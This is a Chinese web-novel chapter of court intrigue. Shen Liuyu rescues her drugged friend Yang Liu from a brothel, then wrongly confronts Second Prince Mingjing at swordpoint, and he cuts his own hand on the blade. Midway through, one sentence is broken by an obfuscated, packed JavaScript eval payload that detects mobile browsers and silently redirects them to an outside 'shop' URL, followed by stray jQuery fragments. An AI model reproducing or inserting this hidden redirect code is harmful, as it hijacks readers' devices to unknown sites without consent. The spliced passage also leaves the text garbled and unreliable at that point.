枯黄的落叶带走了最后一丝暖意，转眼便入了冬。这年冬日，朝中几位老臣致仕，为辛夷城的官场带来了一场规模不小的洗牌，各处势力纷纷涌进来。


    对此，长公子明珲态度保守，到底是不愿触动明璟的利益，制造手足冲突。


    沈流玉是长公子的谋士，亦是如今朝中颇受关注的文臣，可以说是目睹了此次变局的全程走向。这天难得闲暇，她在后院散步，便想起了这件事。


    “若他日夺嫡之争搬上台面，长公子又会如何抉择？”流玉垂下眸子，隐晦道。


    根据她的了解，明璟没有夺位之心，只是难以放下对他人的心防，经营势力也是他为“自保”而选择的方式，长公子则心胸开阔，在外都护着他。


    倘若日后冲突加剧，他们会不会改变现在的想法，兄弟之间兵戎相见？


    “长公子重情，必然不愿伤及二公子。”炎庚目光移向她，声音沉了沉，“怎么突然问起这个？”


    流玉摇头，“只是无意中想到罢了。”


    两人说着话，一个守卫忽然匆匆赶了进来，面有急色。


    “出了什么事？”


    流玉心中窜起一阵不祥的预感，守卫赶忙上前，附到她耳畔回禀，“今早杨姑娘去琴楼买琴，可过了大半日都没见出来……”


    流玉一慌，立马问：“哪个琴楼？”


    守卫不明就里，报了一个名字，谁知流玉立马变了脸色，“为何不早些禀报！”


    什么琴楼？那个地方门头光鲜，实则藏污纳垢见不得光，分明是一座青楼！


    想起之前明璟对她说过的那些威胁之言，流玉再也坐不住了，急急告别炎庚，一骑快马赶到了守卫交代的地方。


    她手里提着把剑，一路长驱直入，吓得那些靡靡之音也不敢再奏了。当家的“琴师”——实为鸨母，听见动静后连忙赶了出来，满脸堆笑地问她找何人做何事，实则早已暗暗召集了几个负责护卫的壮汉，作无声的威压。


    流玉压根没看他们一眼，全部心思都放在找人上，她避开上前阻挠推搡的人群，坚持向深处去，直到踹开最后一扇紧闭的房门，才终于看见了杨柳的身影。


    房中炉香氤氲，她孤零零躺在地上，被麻绳捆束着手脚，昏迷不醒。


    “杨柳！”


    流玉大喊出声，疾步冲了进去，想扶起杨柳查看她的情况，又被周遭的鸨母壮汉团团围住了。


    起初，流玉持刀劈砍，无人能近她身，可没过多久，她竟感到浑身上下越来越无力。


    以她的身手，对付这群乌合之众本是绰绰有余。


    流玉心中警铃大作，迅速寻找着使自己异样的源头，紧接着便看见了角落里的香炉，闻到了那阵早已侵蚀她许久的异香。


    流玉的头脑越来越迟钝，逐渐失去了思考的能力，最后握着刀柄撑在地上，身体不受控制地软了下去。


    鸨母冷笑一声，支使手下将她捆起来，没等他们靠近，外面突然传来了兵甲相击的响动，伴随着伶人难掩慌张的声音：“不好了，官府来人了！”


    守卫军持了查封的诏令，自门外鱼贯而入，不到半刻功夫，便将楼中众人悉数捉拿。为首的炎庚将差事交给副将，自己则直奔顶楼，将流玉和杨柳救了下来。


    她们的衣衫整齐，那些人应该还没来得及做什么。


    炎庚稍稍放下心，将软倒的流玉扶在怀里，后者意识昏沉，用尽仅剩的力气勉强抬起手，指向帷帐后掩着的香炉。


    炎庚很快明白了她的意思，“哐当”一声，香炉被刀尖掀翻，炉灰横飞。


    ……


    软筋散的药效过去后，流玉逐渐恢复了，她没有听府医的继续休息，而是复又拿上自己的刀，去了二公子府邸。


    明璟畏寒，卧房里早早就燃起了炭火，房门打开，一片熏人的温暖骤然被寒意冲散了。


    流玉站在门口，问：“杨柳呢？”


    逆着光，明璟看不清流玉的神情，只能听出她声音微哑，像掺着硌人的沙砾。


    “你怎么来了？”明璟不明所以。


    如果没有记错，他并没有约她今日相见，以前巴不得与自己划清界限的人，这次却是不请自来了。


    天边阴了下去，凛冽的寒风刮过走廊，冷得彻骨。


    流玉缓缓走进来，“二公子，杨柳呢？”


    佩刀在她腰间微晃，随着走动而十分显眼，过了逆光处，明璟才看清她的脸，居然像自己一样苍白。


    “你好狠的心！”


    说完，流玉一把抽出佩剑，寒光迸射出来，尖锐的剑尖直指明璟咽喉！


    管家和一众守卫都没想到沈流玉会突然“行凶”，无不吓破了胆，险些朝着她跪下。


    流玉手里有凶器，他们又不敢轻举妄动地靠近，唯有凄声唤着“沈学士”，求她莫要伤害二公子。


    在众人一声声的呼唤里，沈流玉心中压抑着的戾气反而被激了起来，“杨柳犯了什么错？你有什么要求大可直接告诉我，为什么要为难她！”


    直到现在，明璟才算明白了沈流玉为何而来，敢情是专程过来找事的！


    他呼吸急促，被气得七窍生烟，“沈流玉，你偏听偏信了什么人的挑拨，少来不分青红皂白地给我扣帽子！我到底做了什——”


    “你想害她流落风尘！”


    她话音一落，周遭死一样的寂静，连风声都消失了。


    管家先回过神来，颤颤巍巍上前想解释，却被明璟喝退了。


    他目光未移，紧紧盯着流玉的脸，“在你眼里，我就是这种肮脏龌龊的人啊。”


    流玉举着剑，瞳孔几不可察地颤了颤。


    放在以前，她也许会用“怪僻”、“孤傲”等字眼来形容明璟，但从来没有把他和那样不堪的词联系到一起。


    她手臂一酸，原本举得牢牢的剑也跟着晃，明璟却不许她放下，一把握住了剑刃，“没错，就是我做的，刚才不是很猖狂么？继续。”


    管家的心跟着发抖，“公子！”


    沈流玉的佩剑削铁如泥，就这样直接接触，是势必会割伤手的，明璟缩都没有缩一下，反而握得更紧，还把剑尖向自己喉咙的方向送，贴上脆弱的皮肤。


    “何苦劳累你一直举着？直接刺进来，这样你解气，明珲也一劳永逸了。”


    他如同感觉不到痛一样，从牙缝里溢出一声笑。鲜红的血液顺着手掌流下来，那颜色过于艳丽，刺痛了流玉的眼。


    极端强烈的悲与怒交织着袭来，在混乱中没收了流玉的冷静，如今这份冷静走失久了，又在血腥气的刺激下被强行召回，迫使她直视眼下糟糕的情景，也在心里浮现出一个念头：


    是，明璟一直都是这样恶劣的，如果是真，他不承认，是假，他也不辩解。


    “咣”地一声，她脱了力，手里的剑直直砸到了地上。


    沈流玉自认不是个软弱的人，可那一瞬间，她脑中最先蹦出来的想法居然是逃避。


    这份想法驱使着她，于是，她真的逃了，意识尚未提出质疑，双腿已经跨出了门槛。


    寒风消失了。


    房门再度紧闭，寂静得针落可闻，像做了一场离奇的梦，唯有地上那把没有刀鞘的剑，时刻提醒着发生过的一切。


    望着空空荡荡的门口，明璟气急攻心，撑着桌案，兀自咳了个昏天黑地。


    惴惴不安的府医和下人一拥而上，有的为他顺气、捧药，有的替他包扎手掌的伤口，明璟咳得天旋地转，连眼睛都看不见了，半晌才好不容


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354549|197243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    易缓过来。


    沈流玉平时虽然无礼，但不会这么不顾后果，今日她的反常不可能是无来由的。


    明璟怒气未消，质问管家：“杨柳呢！”


    管家扑通一声跪下，连声告罪：“公子恕罪！是公子之前吩咐过不必看守杨姑娘，我们便没有加派人手……”


    这下，明璟连发怒的力气都没有了，只感觉体内血气上涌，浮现在眼前的星星时明时暗，全都虚情假意地围着他转。


    原来今日种种，竟然是他自作自受。


    他一指房门，“滚，全都滚……把这破剑扔出去，别让我看见，也不许还给她！”


    ……


    沈流玉回去的时候，杨柳已经醒了，只是她吸入的软筋散剂量太大，依然需要卧床休养。


    见流玉归来，杨柳露出笑，语气中含着不好意思，“我是不是给你添乱了？这次幸亏有你。”


    流玉摇头，望着她虚弱的脸色，心中一痛，“我不该向他妥协的，早知如此，我一定会求长公子救你出来……”


    杨柳先是一愣，而后猜出了沈流玉的心思，无奈地辩解：“流玉，你误会了。”


    “虽然二公子抓了我，把我当成制约你的筹码，可他从来没有亏待过我，是宝儿病了，我需要用钱，又舍不下脸面向你和二公子求助，所以才想去外面找个弹琴卖艺的活计……”


    宝儿是杨柳的胞弟，两人相依为命多年。


    了解过来龙去脉后，沈流玉无处逃避，最后欺骗自己的一点希望也消失了。


    其实在最开始的时候，她心里就有过暗暗的怀疑，可这点怀疑在滔天的急与怒面前根本不足挂齿，拉不住更多被武断所占据的心。


    她误会了他，还在兴师问罪时伤了他，见了血。


    杨柳没有觉察出流玉情绪的变化，笑了笑，“我运气太差了，好不容易挑出一个乐坊，结果是家青楼。”


    “你还开玩笑。”无论是对杨柳的遭遇还是自己捅出的篓子，流玉都轻松不起来。


    两人说着话，炭火带来的暖意驱散了一切不安。


    杨柳替流玉理了理折出褶皱的衣襟，说：“等我养好，你还是把我送回二公子府邸吧，我在那里做‘人质’，其实过得也挺好的。莫要和二公子撕破脸，损了你的名声，让人觉得你忘恩负义。”


    “名声不算什么，我一个谋士……”流玉下意识反驳。


    杨柳摇了摇头，在烛光下弯起了眼，“可是，流玉将来是要做大宰相的呀。”


    ……


    深夜，月亮藏进了云层。


    今日明璟受了气，又负了伤，本该好好休息调养，眼下却翻来覆去地睡不着。


    他越睡越烦躁，忍不住坐起身，喊了一句：“来人。”


    守在外面的管家听见动静，忙不迭进来了，手里还拿着一个小小的信筒。


    明璟看见了，问：“那是什么？”


    管家硬着头皮，“公子，是沈学士送来的信。”


    望着那个信筒，明璟几乎有两秒的失语，怒极反笑。


    抱着瞧瞧“明珲那边有何动静”的打算，他到底是打开了信筒，把那封犹带体温的密信拿了出来，里面只写了短短几句话，仍是朝堂上的公事，告诉他长公子近期有意向清查矿运司的账目，二公子可早做准备。


    没有道歉、没有辩解，也绝口不提她那把剑，就好像今天的事没有发生，她也从未踏足过他的府邸。


    “准备什么？我的人又不会贪污受贿。”他冷冷道。


    谁敢搜刮公家之财，活该被揪出来杀。


    明璟说着，其实恨得牙痒痒，将“沈流玉”这三个字在口中翻来覆去磨成了灰，就连信纸上端方工整的字迹也全都变成了不知所云的鬼画符。